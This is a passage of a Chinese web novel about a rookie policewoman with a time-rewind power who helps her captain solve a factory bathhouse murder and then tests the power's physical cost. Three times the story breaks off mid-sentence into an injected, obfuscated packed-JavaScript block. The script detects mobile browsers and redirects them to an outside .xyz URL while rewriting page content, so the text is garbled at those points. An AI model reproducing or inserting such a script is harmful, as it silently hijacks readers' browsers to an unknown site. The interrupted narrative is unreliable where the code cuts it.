何亦寻沉默地听着,手指无意识地在桌面上轻轻敲击。 直到张建国说完,他才缓缓开口,声音低沉平稳:“很好。根据新的线索,重新调整排查范围,重点筛查在那个时间点,有可能在女浴室附近活动、并且能合理解释其行为的人员。” 他的指令清晰冷静。 当张建国领命出去安排时,办公室里只剩下何亦寻和杜晓棠。 何亦寻的目光再次落在她身上,带着一种审视,但不再是冰冷的质疑,而更像是一种专业的评估。 “你……”他开口,声音听不出喜怒,“很擅长捕捉询问对象的细微反应,并且能迅速调整问话策略。” 杜晓棠的心猛地一跳,赶紧低下头,手指紧张地蜷缩起来:“我……我就是瞎猜的,运气好……跟着师傅学的……” 何亦寻没有追问,只是淡淡地说:“这种观察力和应变能力,在刑侦工作上很宝贵,继续保持。” 他的语气依旧是平的,听不出什么表扬的意味,但这句话本身,却让杜晓棠瞬间松了口气,紧接着涌上一股巨大的、被认可的喜悦。 “是!何队!我会努力的!”她抬起头,眼睛亮晶晶的,像只被肯定了工作的小狗,之前的紧张和心虚一扫而空。 何亦寻看着她瞬间由忐忑转为灿烂的表情,几不可查地移开了视线,重新看向桌上的地图和报告,嘴角似乎极其微弱地动了一下,但很快又恢复了平直的线条。 “去帮老张整理新排查出来的人员名单。”他吩咐道,语气恢复了惯常的公事公办。 “是!”杜晓棠响亮的应了一声,脚步轻快地跑了出去。 何亦寻的目光再次投向窗外,看着那个充满活力的身影跑远,深邃的眼眸中,那丝极淡的疑虑并未完全消散,但更多的,是一种对下属展现出特殊才能的审慎评估。 也许……这个看起来有点莽撞的新人,在审讯和洞察人心方面,确实有点意想不到的门道?他需要再观察观察。 7. 回档第七天 新的排查指令下达后,整个临时办公室的气氛如同上紧了发条。 电话铃声此起彼伏,人员进进出出,张建国忙着协调人手,核对名单,安排新一轮的问询和实地排查。 杜晓棠被指派协助整理新划定的重点排查人员名单,她坐在靠墙的桌子旁,面前摊开着厚厚的职工花名册和车间记录,需要将符合“案发时间段可能在女浴室附近活动”条件的人员一一筛选、誊写出来。 这工作繁琐而枯燥,需要极大的耐心和细心。 杜晓棠一开始还能全神贯注,但很快,那种熟悉的、深入骨髓的疲惫感再次如同潮水般阵阵袭来,眼皮越来越沉重,脑袋里像是塞了一团湿棉花,思考变得迟滞。 眼前的花名册上的字迹时而清晰,时而模糊,她不得不频繁地眨眼,或者用力掐一下自己的虎口来保持清醒。 回档的代价,远比她想象的要沉重,不仅仅是精神上的倦怠,似乎连身体的基础能量都被透支了。 她强撑着抄写了几个人名,手腕就开始发酸,字迹也不自觉地变得有些歪扭,她偷偷抬眼看了看办公室里的其他人。 何亦寻站在办公桌旁,正拿着电话,低声而清晰地与技术科沟通,要求他们对废料堆厕所附近区域进行二次痕检,特别关注是否有非本厂人员的痕迹,他的侧脸线条冷硬,眼神专注,看不出丝毫疲态。 张建国则拿着另一部分名单,风风火火地安排几个派出所的同志分头去核实不在场证明,声音洪亮,脚步有力。 对比之下,自己这副仿佛熬了三天夜的样子,实在是……太逊了。 杜晓棠心里有点小小的沮丧,赶紧低下头,深吸一口气,努力把注意力拉回到花名册上。 就在她努力与瞌睡虫抗争时,目光无意中扫过花名册的某一页,一个名字跳入了她的眼帘——刘丽萍。 就是那个孙梅帮她修机台、并声称一起离开的女工? 杜晓棠的笔尖在这个名字上停顿了一下,一种极其微妙的、难以言喻的感觉掠过心头,好像……有哪里不太对劲? 她努力回想。 上一次,张建国询问孙梅时,刘丽萍作为证人,似乎很快就证实了孙梅的说法,两人口径一致,没有任何破绽。 当时所有人的注意力都集中在孙梅那“丢失”的十分钟上,刘丽萍的证词似乎顺理成章地佐证了孙梅“修完机台就一起离开”的前半部分说法。 但现在,结合孙梅最终承认的、独自去厕所时听到的异响……刘丽萍那句“一起走的”证词,是不是……太绝对、太干脆了?她难道对孙梅中途短暂离开去厕所毫无察觉?还是说…… 杜晓棠的眉头不自觉地蹙了起来,手指无意识地敲着那个名字。 这是一种基于模糊“记忆”和当下信息碰撞产生的直觉,毫无逻辑依据,甚至有些莫名其妙,她张了张嘴,想把自己的疑虑说出来,但又立刻咽了回去。 怎么说?说我觉得刘丽萍的证词有问题?可问题在哪?仅仅是一种感觉?何队和师傅会怎么想?会不会觉得她又在瞎猜,或者为了表现而故弄玄虚? 她偷偷瞄了一眼何亦寻,他刚放下电话,正拿起一份报告快速浏览,侧脸依旧冷峻,看不出情绪。 杜晓棠犹豫了,她低下头,试图将那个名字和那种怪异的感觉从脑子里甩开,继续抄写名单。 但那种感觉却像一根细小的刺,扎在心头,挥之不去,名单上的字迹在她眼中再次变得模糊,疲惫感加倍袭来,太阳穴突突地跳着疼。 她忍不住又看了一眼何亦寻,他此刻正背对着她,看着墙上贴着的厂区地图,手指在上面缓缓移动,似乎在推演着什么。 也许……可以换个方式提一下? 杜晓棠深吸一口气,像是给自己打气,然后站起身,拿着那份写了几个人名的名单,脚步有些虚浮地走到何亦寻身边。 “何队……”她的声音因为疲惫和紧张,显得有些沙哑微弱。 何亦寻转过身,目光落在她明显缺乏血色的脸上和眼底那抹无法掩饰的青黑上,眉头几不可查地蹙了一下,这新人的体力……似乎比看起来要差不少? “名单……初步筛选了几个……”杜晓棠将名单递过去,手指微微有些颤抖,“还有……那个……刘丽萍,就是和孙梅一起走的那个女工……她的证词……嗯……是不是……也该再仔细核对一下时间细节?”她说得极其委婉,甚至有些词不达意,完全不敢提什么“直觉”。 何亦寻接过名单,并没有立刻去看,而是目光沉静地看了她两秒,将她那副强撑着的、眼底却带着一丝奇异执拗的神色尽收眼底。 她似乎总能在看似僵局的地方,提出一些看似无厘头、却又隐约指向某种可能性的想法?虽然缺乏依据,但这种敏锐和敢于提出疑问的劲头,在刑侦工作中有时确实能带来意想不到的突破。 “理由?”他问,声音不高,想听听她的思路。 杜晓棠的心猛地一紧,头皮发麻,她最怕的就是这个“理由”。 “我……我就是觉得……”她眼神游移,不敢直视他,手下意识地攥紧了衣角,“孙梅中途离开了……虽然时间短……但刘丽萍她说得那么肯定‘一起走的’……好像……有点太绝对了?万一……万一她没注意到呢?或者……记错了?”她越说声音越小,几乎像是在自言自语,毫无逻辑支撑。 果然,还是这种基于“感觉”的猜测。 何亦寻沉默地看着她,没有说话,办公室里一时间只剩下窗外传来的隐约机器轰鸣声。 杜晓棠的心沉到了谷底,几乎已经预见到了冷淡的驳回或者无声的忽视,她尴尬地低下头,准备退回自己的座位。 就在她转身的瞬间,何亦寻却忽然开口了,声音依旧平淡,却做出了一个出乎她意料的决定。 “老张。”他叫住了正准备出门的张建国。 张建国回头:“何队?” 何亦寻的目光从杜晓棠低垂的脑袋上移开,语气听不出波澜:“核对刘丽萍证词的时候,把时间节点切分得更细一点,重点问清楚她从机台离开后,到车棚取车这段时间,每一步的具体时间和所见所闻,特别是……孙梅去厕所前后,她的视线范围内是否一直能看到孙梅。” 他决定采纳这个建议,并非完全相信她的“直觉”,而是基于两点:一是严谨排查本就该如此,二是……他想看看,这个新人这种看似无厘头的“感觉”,到底能有多准,这本身也是一种对她的测试和观察。 张建国愣了一下,显然对这个突然增加的、极其细致的核查要求有些意外,但他没有多问,立刻点头:“明白!我会重点问清楚!” 何亦寻这才补充了一句:“去吧。” 张建国匆匆走了。 杜晓棠愣在原地,心脏砰砰直跳,几乎不敢相信自己的耳朵,他……他采纳了?采纳了她那番毫无逻辑、结结巴巴的“感觉”? 她猛地抬起头,看向何亦寻,眼睛里充满了难以置信和一丝惊喜。 何亦寻却没有再看她,已经重新将注意力投向了桌上的地图和报告,侧脸线条依旧冷硬,仿佛刚才那个决定只是基于逻辑判断的常规操作,与她那份莫名其妙的“直觉”毫无关系。 他只是淡淡地说了一句:“名单放桌上,你去旁边椅子上靠一会儿。” 这次,他的语气里似乎多了一丝不易察觉的……容忍?或者说,是对她这种特殊“状态”的一种默认的照顾。 杜晓棠晕乎乎地将名单放在桌角,晕乎乎地走到墙边的长椅坐下,心脏还在狂跳,脸颊微微发烫,一种混合着被认可的喜悦和巨大困惑的情绪包裹着她。 他到底是怎么想的?是真的觉得她的提议有道理,还是……只是不想打击她的积极性? 她偷偷观察着何亦寻。 他看起来和之前没有任何不同,专注,冷静,仿佛刚才那个小小的插曲从未发生。 何亦寻的内心却并非毫无波澜,这个杜晓棠,确实有点意思,莽撞,体力似乎也不太行,容易疲惫,但在发现线索和提出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16448651|185216||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 关键性质疑方面,却展现出一种近乎本能的敏锐。 这种组合很奇特,也……很有潜力。 刑侦缺人,尤其是缺能出外勤、又能沉下心来琢磨细节的女警,如果她能克服毛躁和体力问题,好好打磨一下,或许…… 他暗自思忖着,或许等这个案子了结,可以考虑跟治安科那边打个招呼,把这棵看起来有点歪但说不定能成材的苗子,挖到刑侦来试试。 不久,张建国回来了,脸上带着兴奋和一丝难以置信的表情。 “何队!问了!仔细问了!”他语气急促,“您猜怎么着?一开始刘丽萍还咬死说一起走,没分开过。但我把时间一分一秒掰开问她,特别是问到孙梅说肚子疼跑去厕所那段时候她在干嘛,她眼神就慌了!支支吾吾的!最后扛不住了才说,当时她其实正在车棚角落跟一个男工……呃……偷偷约会说了几句话,根本没注意孙梅什么时候离开、什么时候回来的!怕说出来影响不好,之前才撒谎说一直在一起!” 真相大白! 刘丽萍的证词果然有问题,她的隐瞒,不仅差点掩盖了孙梅那关键十分钟的真相,更差点误导了排查方向。 办公室里的气氛瞬间为之一振! 张建国兴奋地一拍大腿:“好家伙!小杜,你这随口一提,可立了大功了!差点让这丫头给糊弄过去!” 杜晓棠张大了嘴巴,彻底懵了。 竟然……真的有问题?她的那种感觉……居然是对的? 她下意识地看向何亦寻。 何亦寻也正看向她。 他的目光里带着一丝清晰的惊讶和毫不掩饰的赞赏。他确实没料到,她那种毫无来由的“感觉”,竟然又一次精准地命中了要害! “很好。”他开口,声音比平时似乎缓和了一丝丝,“观察很敏锐,敢于提出疑问。”他的肯定直接而明确,虽然语气依旧不算热情,但比起平时的冷硬,已经是极大的褒奖。 杜晓棠的脸瞬间红透了,眼睛亮得惊人,被巨大的喜悦和成就感填满,刚才的疲惫仿佛都一扫而空,只剩下不好意思的傻笑:“没……没有……我就是瞎猫碰上死耗子……” 何亦寻看着她那副瞬间“活过来”、笑得有点傻气的样子,几不可查地摇了摇头,但眼底那丝考量却更深了。 这新人,是个宝贝疙瘩啊,得想办法弄到刑侦来。 “老张,立刻控制刘丽萍,详细询问那个男工的情况,核实她的新证词,同时,排查范围根据新的时间线重新调整。”他迅速下达指令,目光再次变得锐利而专注。 “是!”张建国精神抖擞地出去了。 办公室里再次只剩下两人。 何亦寻没有立刻继续工作,而是再次看向杜晓棠。 此刻的她,虽然脸色依旧有些苍白,但整个人仿佛被注入了活力,眼睛里闪着光,与刚才那副萎靡不振的样子判若两人。 他沉吟了片刻,忽然开口,问了一个问题:“杜晓棠,” 杜晓棠立刻站直:“到!” “你对审讯和询问,”何亦寻的目光带着探究,“似乎很有自己的一套方法?或者说……直觉?” 他的语气是纯粹的疑问和好奇,带着一种上级对下属特殊才能的专业探究,没有任何怀疑的成分。 杜晓棠的心跳漏了一拍,但看到他眼中只是纯粹的询问和赞赏,并没有其他深意,这才悄悄松了口气,赶紧摆手:“没有没有!何队,我就是……就是可能比较注意看人家的表情和小动作……瞎琢磨的……跟师傅和您比差远了!” 何亦寻点了点头,没再追问,只是淡淡地说:“这种‘琢磨’很好,保持下去。” 说完,他便重新投入到工作中。 杜晓棠看着他的侧影,心里暖暖的,充满了干劲。 她好像……越来越喜欢这份工作了!也越来越……佩服这位看起来冷冰冰、实则眼光毒辣、知人善用的何队长了! 她暗自下定决心,一定要更加努力,绝不能辜负队长的期望! 8. 回档第八天 刘丽萍证词的突破,如同在浑浊的水中投入了一块明矾,让原本纷乱的线索迅速沉淀、清晰起来。 排查范围被迅速重新划定,重点集中在了案发时间段内,确实有可能出现在女浴室附近、且无法提供绝对不在场证明的人员身上。 技术科也加派人手,对废料堆厕所及通往女浴室的路径进行了地毯式的二次痕检。 紧张而有序的调查又持续了大半天。 夕阳西下时,技术科的一位老同志带着一份新的报告和几个证物袋匆匆走进了临时办公室。 “何队,有发现!”老技术员的声音带着一丝兴奋,他将证物袋放在桌上,“在废料堆厕所通往女浴室小路旁的杂草丛里,我们找到了一小片被勾住的、深蓝色的确良布料纤维,质地比较细,不像普通工装,另外,还在附近发现了一枚比较清晰的、不属于本厂常见劳保鞋的鞋印。” 深蓝色!质地较细! 何亦寻的眼神瞬间锐利起来,他立刻拿起那个装着微量蓝色纤维的证物袋,走到窗前,借着夕阳的光仔细查看。 这颜色和质地,与他之前在死者指甲缝里发现的那一点点微乎其微的残留物极其相似! “立刻比对!”他声音沉稳,但带着不容置疑的力度。 “已经在做了!”老技术员点头,“另外,根据鞋印的朝向和深浅初步判断,此人是从废料堆方向过来,在草丛这里似乎有过短暂的停留或躲藏,然后走向了女浴室方向,时间上,与孙梅听到异响的时间段高度吻合。” 所有的线索,在这一刻仿佛被一条无形的线串联了起来! 何亦寻猛地转身,目光如电般扫过墙上贴着的全厂职工初步排查名单和厂区平面图。 “老张!”他声音低沉而急促,“立刻查!全厂范围内,所有有资格领取但质地不同于普通工装的深蓝色制服的人员!还有,核对所有人员案发时间段的行踪,特别是那些需要穿着特定制服、且无法提供明确不在场证明的人!重点排查后勤、仓管、保卫科等相关部门!” “明白!”张建国精神大振,立刻带人扑向了厂里的人事和后勤部门。 办公室里的电话再次响成一片,各种信息飞速汇总。 杜晓棠的心也提到了嗓子眼,她紧紧攥着笔记本,眼睛一眨不眨地盯着忙碌的何亦寻和张建国,感觉自己仿佛能听到时间流逝的声音。 这种时候,她不敢也不能再轻易动用回档能力。 案件的推进已经到了最关键的时刻,任何一点外来的干扰都可能引发不可预知的连锁反应,她只能屏息凝神地等待着,祈祷着线索能顺利对接。 时间一分一秒地过去,窗外的天色渐渐暗了下来。 终于,张建国拿着一份新鲜出炉的名单,快步走了回来,脸上带着锁定目标的锐利神色。 “何队,查到了!全厂穿这种特定深蓝色制服的,只有三个人。” “一个是食堂采购,案发时跟车去外地拉菜了,有明确记录和多人证明,另一个是仓库的老保管员,案发那天他轮休,在家带孩子,家属院邻居能证明。” 张建国语速很快,手指点着名单上最后一个名字,“最后一个是厂里机动三轮车的司机,叫王海,负责厂区内部和一些短途运输。案发时间段,他声称自己在车棚检修三轮车,但……没人能证明他一直在那儿,而且……” 张建国顿了顿,声音压低了些:“保卫科有人反映,这个王海,平时手脚就不太干净,爱占小便宜,以前就有过偷拿厂里物资的苗头,但没抓到过实质证据,而且,他跟死者王娟……好像还有点远房亲戚关系,但平时来往不多。” 何亦寻的目光瞬间锁定在那个名字上,眼神冷冽如冰。 “立刻控制王海!通知技术科,立刻比对王海的工作服纤维与现场提取的纤维,核查他的鞋码与现场鞋印!突击搜查他的个人储物柜和驾驶的三轮车!”指令清晰而果断,带着雷霆万钧的力量。 “是!”张建国立刻带人冲了出去。 接下来的时间,仿佛被按下了快进键。 技术科的比对结果很快传来——从王海的工作服肘部一处不明显的勾痕处提取的纤维,与死者指甲缝以及草丛中发现的那抹深蓝色纤维,在材质、颜色、磨损程度上完全吻合。 他的劳保鞋鞋码也与现场遗留的鞋印完全一致。 突击搜查的队伍也在王海驾驶的三轮车座位底下,发现了一个被塞在缝隙里的、带血的女士旧手表表带扣,经辨认,正是死者王娟丢失的那只手表上的部件。 铁证如山! 审讯室内,面对突如其来的抓捕和一项项无可辩驳的证据,王海的心理防线迅速崩溃,他脸色惨白,浑身发抖,最终瘫坐在椅子上,对犯罪事实供认不讳。 原来,他因赌博欠了债,得知王娟刚领了工资和补贴,便动了邪念。 案发当晚,他利用职务之便留在厂内,本想找机会偷窃,却意外看到王娟独自去浴室。 他熟知厂区监控盲点和小路,便提前躲藏在废料堆旁的草丛里,伺机尾随王娟进入浴室实施抢劫。 遭遇反抗后,他惊慌失措下用力过猛扼死了王娟,抢走了手表和现金,随后利用对地形的熟悉迅速逃离,并伪造了在车棚修车的假象。 他本以为天衣无缝,却没想到天网恢恢,疏而不漏。 案件终于告破。 当王海被正式逮捕、押上警车时,纺织厂里压抑了好几天的紧张气氛终于为之一松。 工人们议论纷纷,既有对凶手的愤慨,也有对案件迅速侦破的欣慰和安心。 临时办公室内,参与办案的众人脸上都露出了疲惫却轻松的神情,张建国正忙着指挥大家收拾东西,准备撤点。 杜晓棠长长地舒了一口气,感觉一直紧绷的肩膀终于放松下来。 一种巨大的成就感和释然感充盈在心间,虽然身体依旧疲惫,但精神却异常振奋,她做到了!她真的参与到一起命案的侦破中,并且起到了作用! 她下意识地看向何亦寻。 他正站在窗边,夕阳的余晖给他冷硬的侧脸镀上了一层柔和的金光,似乎在看着楼下正在被押 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16448652|185216||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上车的王海,眼神深邃,看不出太多的情绪,只有一种案件水落石出后的沉静与了然。 仿佛感应到她的目光,何亦寻忽然转过头,视线精准地落在了她身上。 杜晓棠的心跳莫名漏了一拍,下意识地站直了些。 何亦寻朝她走了过来。 办公室里的其他人似乎都默契地放缓了动作,偷偷用眼角余光关注着这边。 他在她面前站定,目光从她带着疲惫却亮晶晶的眼睛,看到她因为兴奋而微微泛红的脸颊。 “杜晓棠同志。”他开口,声音依旧是平的,但似乎比平时少了几分冷硬。 “到!何队!”杜晓棠立刻应道,声音因为紧张和期待而微微发颤。 何亦寻沉默了两秒,仿佛在斟酌词句,然后才缓缓说道:“在这次案件中,你表现出了难得的细致和敏锐,虽然经验尚浅,有时……”他似乎在找一个合适的词,“……略显冲动,但善于观察,敢于提出疑问,对于关键线索有不错的直觉和执着。” 他的评价客观而简洁,没有任何夸张的表扬,却字字肯定了她的努力和起到的作用。 杜晓棠的脸瞬间红透了,心脏砰砰狂跳,一种难以言喻的激动和喜悦冲上头顶,让她几乎有点晕乎乎的。她张了张嘴,想说什么,却发现自己嗓子发干,只能笨拙地挤出几个字:“谢、谢谢何队!我……我还差得远,会继续努力!” 何亦寻看着她那副高兴得快要同手同脚、却又努力想保持严肃的样子,几不可查地微微颔首。 “回去好好休息。”他最后说了一句,便转身不再看她,继续去处理后续事宜。 但就在他转身的瞬间,杜晓棠似乎看到,他嘴角极其轻微地、几乎难以察觉地向上牵动了一下。 那是一个转瞬即逝的、近乎于无的弧度。 却让杜晓棠愣在原地,心跳再次失控。 他……是笑了吗? 虽然案件告破的喜悦充斥心间,但一个更让她雀跃的念头却不受控制地冒了出来——他好像……真的对我有点满意? 张建国笑呵呵地走过来,拍了拍她的肩膀:“行啊丫头!这次干得漂亮!何队可是很少这么夸人的!好好干,前途无量!” 杜晓棠不好意思地挠挠头,脸上的笑容却怎么也止不住。 收拾好东西,准备离开纺织厂时,夕阳已经完全沉入了地平线,天边只剩下绚烂的晚霞。 杜晓棠推着自行车,走在何亦寻和张建国身后,听着他们低声讨论着结案报告的事情,晚风吹拂着她的发梢,带来一丝凉爽。 虽然身体很累,但心里却充满了力量和希望。 她抬头看了看前面那个挺拔冷峻的背影,又想起他刚才那句肯定和那个几乎不存在的笑意,心里暗暗下定决心: 刑侦,她一定要进! 而走在前面的何亦寻,目光扫过路边逐渐亮起的灯火,心里也在做着某个决定。 等结案报告写完,是时候去找治安科的老李谈谈了。 这么棵好苗子,放在基层巡逻,有点浪费了。 9. 回档第九天 纺织厂浴室杀人案的告破,在小小的市公安局里引起了不小的轰动。 新来的女警杜晓棠在案件中表现出的细致和敏锐,尤其是她对刘丽萍证词那近乎“直觉”般的质疑,更是成了同事们私下议论的话题。 杜晓棠被张建国和几个同事围着夸了好一阵,才晕乎乎、脚步发飘地推着自行车走出公安局大门。 晚风吹在脸上,带着夏末的凉意,却吹不散她心头的滚烫和脸颊的热度。 这一天,实在是太刺激,太……难以置信了。 她真的参与破获了一起命案!还得到了何队那个冷面神的肯定! 一想到何亦寻最后那句“表现出了难得的细致和敏锐”和那个几乎不存在的笑意,杜晓棠就忍不住蹬自行车的脚都更有劲了,嘴角控制不住地向上扬起。 然而,这种亢奋状态并没有持续太久。 当她骑过两个路口,远离了公安局那种紧张而充满成就感的环境后,一股难以形容的、排山倒海般的疲惫感,如同蛰伏已久的猛兽,骤然扑了上来,瞬间将她吞没。 眼前猛地一黑,车把剧烈晃动了一下,她赶紧用脚撑地才勉强稳住身形。 心脏在胸腔里狂跳不止,不是因为兴奋,而是因为一种仿佛被彻底掏空后的虚弱悸动。 太阳穴针扎似的疼,耳朵里嗡嗡作响,连呼吸都变得有些费力。 她不得不停下来,靠在路边一棵梧桐树下,大口大口地喘着气,额头上渗出细密的冷汗。 回档…… 都是因为回档。 那种透支精神乃至生命本源般的可怕消耗,在案件侦破的兴奋劲过去后,终于露出了它狰狞的獠牙。 杜晓棠扶着树干,缓了好一会儿,眼前的黑翳才慢慢散去,但那种深入骨髓的疲惫和虚弱感,却如同附骨之疽,牢牢地钉在了她的身体里。 她推着自行车,慢慢地往家走,脚步虚浮得像是踩在云端,脑子里却不受控制地开始回想今天发生的一切,尤其是那两次至关重要的回档。 第一次,是为了追问出孙梅听到的异响。 第二次,是为了质疑刘丽萍的证词。 两次都成功了,都起到了关键作用。 但代价呢? 这代价未免也太大了!简直像是在用寿命换线索! 她必须搞清楚,这个莫名其妙出现在自己身上的回档能力,到底是怎么回事?它的规则是什么?极限在哪里?每次消耗的到底是什么?总不能每次都把自己搞成这副半死不活的样子吧? 回到家,父母已经吃过晚饭了。 母亲林静医院值班还没回来,父亲杜卫东正坐在客厅听收音机,看到她脸色苍白、一副快要虚脱的样子,又是一阵心疼的数落和忙乱,赶紧去厨房热饭热汤。 杜晓棠没什么胃口,但为了不让爸爸担心,还是勉强吃了小半碗饭,喝了一碗鸡汤,就推说太累,想早点休息。 杜卫东看着她眼底浓重的青黑和萎靡的精神,心疼得直念叨“这警察当得太遭罪”,却也没再多说什么,只是叮嘱她好好睡觉。 杜晓棠回到自己小小的房间,关上门,世界瞬间安静下来。 她没有立刻躺下,而是强撑着疲惫的身体,坐到书桌前,打开了台灯。 柔和的光线照亮了桌面,也照亮了她毫无血色的脸。 她拿出一个新的笔记本和一支笔,深吸一口气,在扉页上郑重地写下了两个字: 【回档】 然后,开始梳理今天的使用记录: 时间:下午约X点(她看了一眼桌上的小闹钟,估算了一下) 回档目标:追问孙梅(浴室案) 回档时长:约1小时15分钟 效果:成功获取关键线索(挣扎声、物品掉落声) 消耗感受:精神极度疲惫,注意力难以集中,身体发虚。 时间:下午约X点(再次估算) 回档目标:质疑刘丽萍证词(浴室案) 回档时长:约1小时 效果:成功揭露伪证,修正排查方向。 消耗感受:叠加性疲惫,眼前发黑,体力明显透支,太阳穴胀痛。 写到这里,杜晓棠的笔尖停顿了一下。她仔细感受了一下自己现在的状态,在第二点后面补充了一句: 【备注:两次回档间隔较短,消耗感呈叠加增强趋势,疑似有“冷却时间”或“过度使用”惩罚?】 她看着这两行记录,眉头紧紧皱了起来。 问题很明显:消耗太大,且似乎与回档的时长和频率有关。 但具体是什么关系?消耗的到底是什么?只是精神?还是包括体力?或者……还有其他更可怕的东西? 她必须想办法测试一下。 想到这里,杜晓棠的目光落在了桌角那个小小的金属闹钟上。 时针正指向晚上八点四十分。 一个念头冒了出来。 她集中精神,尝试着去感应那个蓝色的面板。 果然,随着她的意念,那面半透明的、带着微弱科技感的蓝色面板再次悄无声息地浮现在她眼前的空气中。 上面的文字依旧简洁: 【检测到宿主强烈探究意图……是否开启回档?目标时间点:01分钟前。】 【是/否】 只有一分钟?而且消耗的意愿似乎并不强烈?是因为回溯的时间短,还是因为这次没有强烈的“不甘”或“执念”情绪驱动? 杜晓棠犹豫了一下,她现在状态已经很差了,再回档,哪怕只是一分钟,会不会直接晕过去? 但好奇心和对掌握自身能力的渴望最终占据了上风。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16448653|185216||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 她需要数据!需要了解哪怕最小单位的回档消耗! 她一咬牙,用意念选择了【是】。 轻微的眩晕感再次袭来,但比前两次轻微得多,更像是快速蹲起后的那种短暂脑供血不足。 眼前的景象模糊了瞬间又清晰—— 她发现自己依旧坐在书桌前,台灯亮着,笔记本打开着,笔还握在手里。 但……笔记本上却是空白的!刚才她写下的那些关于回档的记录,全都消失了! 闹钟的指针,稳稳地指向八点四十分整。 她真的回到了一分钟前! 几乎是同时,一股明显的虚弱感叠加着原本就存在的疲惫,猛地冲击了她的大脑和身体。 她忍不住闷哼一声,扶住了额头,太阳穴的跳动更加剧烈了,呼吸也急促了几分。 虽然不像前两次那样剧烈,但这种清晰的、额外的消耗感是确凿无疑的。 她不敢怠慢,赶紧拿起笔,再次在笔记本上飞快地记录下刚才发生的一切,包括回档前后的时间和身体感受。 写完最后一笔,她放下笔,长长地、带着颤抖地吐出了一口气。 身体像是被抽掉了一部分力气,软软地靠在椅背上。 实验成功了。 但也证实了她的恐惧——每一次回档,无论长短,都确实需要付出代价,而且这种消耗,似乎会叠加在她已有的疲惫之上。 她看着笔记本上那短短一分钟回档的记录,心里沉甸甸的。 这个能力,简直是一把双刃剑。 用得好,或许能成为她实现警察梦想、惩奸除恶的强大助力,说不定还能挽救不少受害人;可用不好,或者滥用,很可能先把自己给彻底榨干。 她必须更谨慎地使用它。 不到万不得已,绝不能轻易动用。 而且,要尽量拉长每次使用的时间间隔,避免叠加消耗。 还有,这个能力的来源是什么?为什么是她?有没有什么办法可以补充这种消耗?或者……减少消耗? 一大堆问题涌入脑海,却没有答案。 杜晓棠感到一阵深深的无力感和迷茫,她拥有的这个秘密,太过惊人,也太过危险,她无法向任何人倾诉,只能自己摸索,自己承担一切后果。 疲惫如同沉重的潮水,再次汹涌地漫上来了,她眼前的笔记本字迹开始模糊,台灯的光晕变得刺眼。 她知道自己不能再硬撑了,今天已经透支得太厉害了。 她勉强站起身,摇摇晃晃地走到床边,几乎是瘫倒下去,连衣服都没力气换,拉过薄被盖在身上,眼皮就沉重地合拢了。 在陷入沉睡的前一刻,她脑子里最后一个模糊的念头是:明天……一定要多吃点爸爸做的红烧肉……补回来…… 窗外,月色宁静。 10. 回档第十天 杜晓棠在自家老爸杜卫东同志连续三天的红烧肉、四顿鸡汤、以及若干据说是“祖传秘方”的乌漆嘛黑药材炖品的疯狂投喂下,终于感觉自己那被回档掏空、仿佛漏风的小身板,重新被糊上了一层油光水滑的能量。 虽然离满血复活还差得远,但至少走路不飘了,眼前也不冒金星了。 她精神抖擞地回到派出所,感觉自己又是一条好汉,胸前的红领章都仿佛更鲜艳了。 然后,她就被张建国师傅像拎小鸡崽一样,拎去进行日常片区巡逻了。 “小杜啊,”张建国一边蹬着那辆除了铃铛不响哪儿都响的二八大杠,一边语重心长,肚腩在车座上一颤一颤,“大案要破,但这基层的片儿警工作才是根基,是磨刀石!最能磨性子,长见识!懂不?” 杜晓棠骑着所里配的、链条嘎吱嘎吱抗议的旧自行车,努力跟在后面,脑袋点得像啄木鸟:“嗯嗯!师傅说得对!磨!必须磨!” 阳光明媚,微风和煦,吹得路边的老槐树叶子沙沙响。 如果不是身上这身警服,杜晓棠简直以为自己是在进行一场悠闲的春日郊游。 然而,现实很快给了这位胸怀大志的新人女警一点小小的“基层震撼”。 第一站,调解俩老太太因为一盆泼溅出界的洗菜水而引发的“重大领土纠纷案”。 张建国熟练地打着哈哈,一会儿夸王奶奶家窗台上的月季开得俊,一会儿赞李阿姨新剪的头发显年轻,三句不离“远亲不如近邻”,五句必提“和谐社会”,软绵绵的太极功夫登峰造极,没一会儿就把两位剑拔弩张的老祖宗哄得眉开眼笑,最后甚至互相邀请起晚上一起去小公园听戏。 杜晓棠在一旁拿着小本本,一脸严肃地试图记录“调解要点”和“经典话术”,结果写满了“张大爷家窗台花盆越界三公分”、“李阿姨家泼水幅度超标且未设立警示标志”之类的鸡毛蒜皮,自己看着都乐了,这写的啥玩意儿啊! 第二站,规劝一个在胡同口拐角处摆摊卖糖人的老大爷别堵着通道。 